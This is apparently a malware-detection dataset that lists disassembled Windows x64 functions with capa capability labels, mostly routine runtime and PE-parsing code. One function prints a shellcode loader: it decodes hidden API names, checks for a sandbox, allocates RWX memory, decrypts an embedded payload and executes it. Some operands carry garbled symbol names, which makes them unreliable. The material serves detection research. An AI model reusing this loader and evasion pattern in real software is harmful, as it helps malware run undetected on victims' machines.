joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400237c0
Capabilities:
Delete file
Write file on windows

Disassembly:
push rbx
push rbp
push rsi
sub rsp, 0x6b0
mov rbp, rcx
mov rsi, rdx
lea rcx, [rsp + 0x40]
call fcn.14000fb60
cmp qword [rsp + 0x58], 7
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x460]
cmova rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
jne 0x14002380d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindClose]
xor bl, bl
jmp 0x140023818
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindClose]
mov bl, 1
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x14002385d
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023858
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140023858
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140027468
movdqa xmm0, xmmword [0x14002f490]
mov qword [rsp + CMFCBaseAccessibleObject::accLocation], rdi
mov qword [rsp + CMFCRibbonTab::accLocation], r14
xor r14d, r14d
mov word [rsp + 0x40], r14w
movdqu xmmword [rsp + 0x50], xmm0
test bl, bl
je 0x140023891
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [0x14003ea00]
mov rdi, rax
test rax, rax
je 0x140023919
mov qword [rsp + 0x28], r14
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x84000100
mov rdx, rbp
mov rcx, rax
call qword [0x14003e8f0]
mov rbx, rax
test rax, rax
je 0x140023910
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x140023920
call qword [0x14003ea08]
mov rcx, rdi
call qword [0x14003ea08]
xor al, al
jmp 0x1400239a5
lea r9, [rsp + 0x6e0]
mov r8d, 0x400
lea rdx, [rsp + 0x60]
call qword [0x14003e920]
test eax, eax
je 0x140023988
nop dword [rax]
mov r8d, dword [rsp + 0x6e0]
test r8d, r8d
je 0x140023988
lea r9, [rsp + 0x6e8]
mov qword [rsp + 0x20], r14
lea rdx, [rsp + 0x60]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x6e0]
mov r8d, 0x400
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [0x14003e920]
test eax, eax
jne 0x140023940
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [0x14003ea08]
mov rcx, rdi
call qword [0x14003ea08]
mov al, 1
mov rdi, qword [rsp + 0x6d0]
mov r14, qword [rsp + 0x6d8]
add rsp, 0x6b0
pop rsi
pop rbp
pop rbx
ret

Function at 0x140027b80
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140027bca
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140027bca
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140027bca
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140027bca
cmp dword [rcx + 0x84], 0xe
jbe 0x140027bca
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140027bcc
xor al, al
add rsp, 0x28
ret
Function at 0x140011620
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x14003a730], rbx
je 0x14001166c
cmp rax, rbx
jne 0x14001165f
mov ebx, 1
mov esi, ebx
jmp 0x140011671
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x140011644
mov ebx, 1
mov eax, dword [0x14003a738]
cmp eax, ebx
jne 0x140011687
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x1400116ec
mov eax, dword [0x14003a738]
test eax, eax
jne 0x1400116e6
mov dword [0x14003a738], ebx
lea r15, [0x1400132f8]
lea rdi, [0x1400132e0]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r15
jae 0x1400116d8
test eax, eax
jne 0x1400116dc
cmp qword [rdi], 0
je 0x1400116cd
mov rax, qword [rdi]
mov rcx, qword [case.0x140007fd3.0]
call rcx
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x1400116ae
test eax, eax
je 0x1400116ec
mov eax, 0xff
jmp 0x1400117c8
mov dword [0x14003a180], ebx
mov eax, dword [0x14003a738]
cmp eax, ebx
jne 0x140011713
lea rdx, [0x1400132d8]
lea rcx, [0x1400132b0]
call sub.msvcrt.dll__initterm
mov dword [0x14003a738], 2
test esi, esi
jne 0x140011720
xor eax, eax
xchg qword [0x14003a730], rax
cmp qword [0x14003a750], 0
je 0x140011754
lea rcx, [0x14003a750]
call fcn.140011b60
test eax, eax
je 0x140011754
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x14003a750]
mov r9, qword [case.0x140007fd3.0]
call r9
mov r8, qword [0x14003a198]
mov rdx, qword [0x14003a190]
mov ecx, dword [0x14003a188]
call fcn.14000210c
mov dword [0x14003a17c], eax
cmp dword [0x14003a1a0], 0
jne 0x140011784
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14003a180], 0
jne 0x140011799
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14003a17c]
jmp 0x1400117c8
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.1401aa000
add rsp, 0x28
jmp 0x140011620

Function at 0x140011a4c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140011a98
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140011a90
cmp dword [rcx + 0x3c], edx
jl 0x140011a90
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140011a90
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140011a98
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400333f0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140033400]
mov dword [rax], 1
mov rax, qword [0x140033410]
mov dword [rax], 1
mov rax, qword [0x140033380]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400333e0]
mov dword [0x14003600c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1400334c0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1400334a0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140033360]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140033440]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x140033450]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140036008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x1400333b0]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140033430]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x140036028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x140036020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140036020], rbp
call dbg.__main
mov rax, qword [0x1400333c0]
mov r8, qword [0x140036018]
mov ecx, dword [0x140036028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140036020]
call sym.main
mov ecx, dword [0x14003600c]
mov dword [0x140036010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140036008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140033450]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x140033470]
mov rcx, qword [0x140033460]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sym._cexit
mov eax, dword [0x140036010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x140033490]
mov rcx, qword [0x140033480]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop

Function at 0x1400017c0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001830
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400360a4]
mov rbx, rcx
test esi, esi
jle 0x140001960
mov rax, qword [0x1400360a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000187b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001905
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001860
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001982
mov rax, qword [0x1400360a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400360a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001967
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400018fe
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001910
add dword [0x1400360a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400360a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400018fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001888
mov rax, qword [0x1400360a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001f10
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140036100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400360e0]
test rbx, rbx
je 0x140001f6c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140001f63
test eax, eax
jne 0x140001f63
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001f48
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002180
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002198
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400021a0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400021b0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400021fd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400021f4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400021ff
add rax, 0x28
cmp rax, r9
jne 0x1400021e0
xor eax, eax
ret

Function at 0x140002200
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002290
mov rdx, qword [0x140033380]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000227e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000227e
cmp word [rax + 0x18], 0x20b
jne 0x14000227e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002290
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002269
add rbx, 0x28
cmp rbx, rdi
je 0x140002290
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002260
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400022a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140033380]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400022c0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400022c8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400022c0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000231d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002314
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400022c0
add rax, 0x28
cmp rax, r9
jne 0x140002300
xor eax, eax
ret

Function at 0x140002320
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140033380]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000233f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002348
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000233f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002360
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140033380]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002380
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002388
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002380
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400023d0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400023c7
test rcx, rcx
je 0x140002380
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x1400023b8
xor eax, eax
ret
Function at 0x1400023e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140033380]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400023ff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002408
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002420
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140033380]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002440
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002448
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002440
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002440
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002494
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400024a0
add rdx, 0x28
cmp rdx, r9
jne 0x140002480
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400024b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140033380]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400024d2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400024e0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400024d2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400024d2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1400024d2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002535
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002548
add rdx, 0x28
cmp r10, rdx
jne 0x140002520
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002557
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002567
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000253e
test ecx, ecx
jg 0x140002550
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1400029c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x28
call dbg.__main
movd xmm2, dword [0x140011a88]
movq xmm0, qword [0x140011a70]
lea rcx, [0x140011a70]
movq xmm1, qword [0x140011a80]
movzx eax, byte [0x140011a7c]
xor al, byte [0x140011a8c]
pxor xmm0, xmm1
mov byte [0x140011a7c], al
movq qword [0x140011a70], xmm0
movd xmm0, dword [0x140011a78]
pxor xmm0, xmm2
movd dword [0x140011a78], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movd xmm3, dword [0x140011a88]
movq xmm0, qword [0x140011a60]
movq xmm1, qword [0x140011a80]
movzx edx, word [0x140011a8c]
mov rcx, rax
movzx eax, word [0x140011a6c]
pxor xmm0, xmm1
movq qword [0x140011a60], xmm0
xor eax, edx
movd xmm0, dword [0x140011a68]
lea rdx, [0x140011a60]
mov word [0x140011a6c], ax
pxor xmm0, xmm3
movd dword [0x140011a68], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140036030], rax
call sym.is_sandbox__
mov edx, eax
mov eax, 1
test dl, dl
je 0x140002a9c
add rsp, 0x28
ret
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1fed4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r11, [0x140012280]
xor edx, edx
lea r8, [0x140011a80]
mov r10, rax
lea r9, [r11 + 0x1fed4]
mov rax, r11
movsxd rcx, edx
add edx, 1
movzx ecx, byte [r8 + rcx]
xor byte [rax], cl
lea rcx, [rax + 1]
cmp rcx, r9
je 0x140002b0b
cmp edx, 0x7ff
jne 0x140002b06
add rax, 2
movzx edx, byte [r8]
xor byte [rcx], dl
cmp r9, rax
je 0x140002b0b
mov edx, 1
jmp 0x140002ad2
mov rax, rcx
jmp 0x140002ad2
mov r8d, 0x1fed4
mov rdx, r11
mov rcx, r10
call sym.memcpy
call rax
xor eax, eax
jmp 0x140002a97
Function at 0x180090eb0
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x1c0
mov rax, qword [0x18029e198]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
mov rdi, rcx
mov qword [rsp + 0x28], rcx
lea rax, [0x180056890]
mov qword [rcx], rax
xor esi, esi
mov dword [rcx + 8], esi
mov word [rcx + 0xc], si
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x30], rsi
mov qword [rcx + 0x38], sendto
mov byte [rcx + 0x20], sil
lea rax, [0x1800567d8]
mov qword [rcx + 0x18], rax
mov qword [rcx + 0x58], rsi
mov qword [rcx + 0x60], sendto
mov byte [rcx + 0x48], sil
mov qword [rcx + 0x40], rax
mov qword [rcx + 0x80], rsi
mov qword [rcx + 0x88], sendto
mov byte [rcx + 0x70], sil
mov qword [rcx + 0x68], rax
mov byte [rcx + 0x90], sil
mov dword [rcx + 0x94], esi
mov qword [rcx + 0xb0], rsi
mov qword [rcx + 0xb8], rsi
mov qword [rcx + 0xc0], rsi
mov byte [rcx + 0xc8], 1
mov dword [rcx + 0xcc], 1
mov qword [rcx + 0xd0], rsi
mov qword [rcx + 0xd8], rsi
mov qword [rcx + 0xe0], rsi
lea rbp, [0x180056880]
mov qword [rcx + 0xa8], rbp
mov qword [rcx + 0xa0], rsi
mov byte [rcx + 0x1e0], sil
xor edx, edx
mov r8d, 0x150
add rcx, 0x1e4
call fcn.18020bef0
mov edx, esi
cmp byte [rdi + 0x1e0], sil
setne dl
lea rcx, [rdi + 0x1e4]
call fcn.180102d60
nop
mov dword [rdi + 0x334], esi
mov qword [rdi + 0x348], rsi
mov qword [rdi + 0x350], rsi
mov qword [rdi + 0x358], rsi
lea rbx, [rdi + 0x360]
mov qword [rsp + 0x20], rbx
mov qword [rbx], rsi
mov qword [rbx + 8], rsi
lea ecx, [rsi + 0x70]
call fcn.1801e6190
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbx], rax
mov qword [rdi + 0x370], rsi
mov qword [rdi + 0x378], rsi
mov qword [rdi + 0x380], rsi
mov qword [rdi + 0x390], rsi
mov qword [rdi + 0x398], rsi
mov qword [rdi + 0x3a0], rsi
mov ecx, dword [0x1802b2ac4]
mov rax, qword gs:[0x58]
mov edx, 0x26820
mov rcx, qword [rax + rcx*8]
lea rbx, [0x1802aff70]
mov eax, dword [rdx + rcx]
cmp dword [0x1802b0138], eax
jg 0x1800910ee
mov qword [rdi + 0x3a8], rbx
mov qword [rdi + 0x3d0], rsi
mov qword [rdi + 0x3d8], rsi
mov qword [rdi + 0x3e0], rsi
mov byte [rdi + 0x3e8], 1
mov dword [rdi + 0x3ec], 1
mov qword [rdi + 0x3f0], rsi
mov qword [rdi + 0x3f8], rsi
mov qword [rdi + 0x400], rsi
mov qword [rdi + 0x3c8], rbp
mov rcx, rdi
call fcn.180095280
nop
mov rax, rdi
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.1801e68c0
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
lea rcx, [0x1802b0138]
call fcn.1801e66a0
cmp dword [0x1802b0138], 0xffffffff
jne 0x180091070
mov edx, 0x102
mov rcx, rbx
call fcn.1801e7920
nop
xor edx, edx
mov r8d, 0x178
lea rcx, [0x1802affc0]
call fcn.18020bef0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.180096120
lea rcx, [rsp + 0x30]
call fcn.180103cf0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.180096840
nop
lea rcx, [0x180230070]
call fcn.1801e64f0
nop
lea rcx, [0x1802b0138]
call fcn.1801e6640
jmp 0x180091070